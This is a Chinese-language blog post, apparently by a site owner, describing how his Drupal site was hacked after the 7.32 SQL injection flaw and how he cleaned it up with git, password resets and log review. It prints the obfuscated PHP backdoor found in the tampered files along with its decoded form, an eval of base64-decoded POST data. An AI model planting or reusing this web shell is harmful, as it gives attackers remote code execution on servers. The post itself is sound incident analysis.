Drupal网站被黑记

距离Drupal 7.32版的发布已经过去10来天了,你是否升级到最新版的Drupal了呢?你是否对开源软件的安全更新嗤之以鼻不放心上呢?是否认为网站被黑的事情永远都发生不到自己身上呢?Drupal 7.32给我们,当然,主要是给我上了生动的一课。

我清楚的记得,7.32发布当天,我没有立刻升级,而是第二天晚上才升级,升级之后便以为万事大吉了,也没有去管。谁知今天看到看山翻译的文章『Drupal SQL注入漏洞后的一周——黑客教了我们什么?』之后心血来潮的想对着检查一下,结果呢是没有匹配的模式,当时还有点小高兴。

但转念又一想,这个SQL注入的漏洞可以被多重方式利用,那么就有可能有没被提到的,不常见的攻击方式,于是乎我又进了服务器,结果发现网站的很多代码被篡改了,而且多出来很多不明文件。

git status

还好我是使用版本控制部署的生产服务器,可以让我直接看出哪些文件被篡改,哪些文件是新增的(怎么说呢,新增的文件名起的都很代码相关,比如object.php,单凭眼睛很难找出来哪些个是新增的)。

git reset --hard

为了尽快解决问题,当然是尽快恢复原状的好,所以首先用上面的命令重置被篡改的文件,对于那些新增的文件我是通过一个一个手动删除的,这里理应也有git命令可以一键完成,不过我git水平还一般,所以只好用笨方法了。

在删除之前,我查看了几个文件的差异,发现多出来的代码如下:

$sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['naea521'];if(isset($s22)){eval($s21($s22));}

翻译过来的意思大概是:

$code = $_POST['naea521']; if (isset($code)) {eval(base64_decode($code));}

如此恶劣的代码,可想而知有多危险了,于是我又把看山的文章仔细读了一遍,挨个对照,去menu_router表仔细看了所有的access callback和page callback,以及users表,block表等,并且去服务器里看是否有异常的特权用户,没发现异常后才放心一些。

但是对于网站还是要负责任的做一些操作,一个是修改管理员密码,另一个是通知所有人修改密码。使用了Force Password Change模块,Password Policy模块也可以。

遗憾之处是我在处理之前并没有把每一个异常文件都看一遍,因为看山文章中提到的注入要是没发现的话,那黑客是如何偷偷写入了这么多文件呢,所以我怀疑可能是首次攻破之后就删除了痕迹,然后用自己篡改的代码来不断的写入新的文件,而更糟糕的则是,是否还有没被提及和找到的后门...

还有什么地方没看呢,那就是日志,黑客在这么多文件中放了这么多恶意代码,为了就是以后经常来串门,根据以上代码对日志过滤POST关键字和php关键字,结果最后一丝侥幸也荡然无存了,日志中清楚的表明黑客已经在这几天来过好多次了,通过IP能看出是来自于俄罗斯,通过IP很多能看出要么对方人很多,要么肉鸡很多。通过对日志的观察,发现以扫描漏洞为目的的请求相当的多,这本身没有什么办法制止,但我们还是应该想一些办法来缓解,比如提供一个静态的404页面,否则一些恶意扫描就能拖垮你的网站。

看到这里,想必大家对此次Drupal 7.32的安全更新有了更直观的认识,这里还可以引申出其他的话题值得大家深入思考,比如是否应该使用开源软件,开源软件是否真的安全可靠,使用开源软件的代价是什么,如何不让别人知道你使用的是什么开源技术,从而规避一些扫描和攻击的风险。

最后,重点批评一下一个叫DrupalXRay的网站,这里我就不给连接了,这个网站表面上看,可以告诉你任何Drupal网站使用了哪些模块,但实际上其使用的模式匹配极其弱智,假设Drupal有1w个模块拥有自己的特征静态文件(比如README.txt或者其他静态文件),其采用的是拿这1w个特征静态文件一个一个去对方的网站扫描和匹配,并且即使发起者关闭了浏览器标签,这个扫描仍然会继续,他还可以识别出Drupal网站使用的当前版本,所以结合此次修补的漏洞,如果这个网站想作恶,那绝对拥有新鲜的第一手资料。

评论

大鹏的头像

开源软件也是人写的,也会存在漏洞,干什么事不都有风险,就看你怎么看待了吧,存在就是合理的嘛 ,有情况就有应对。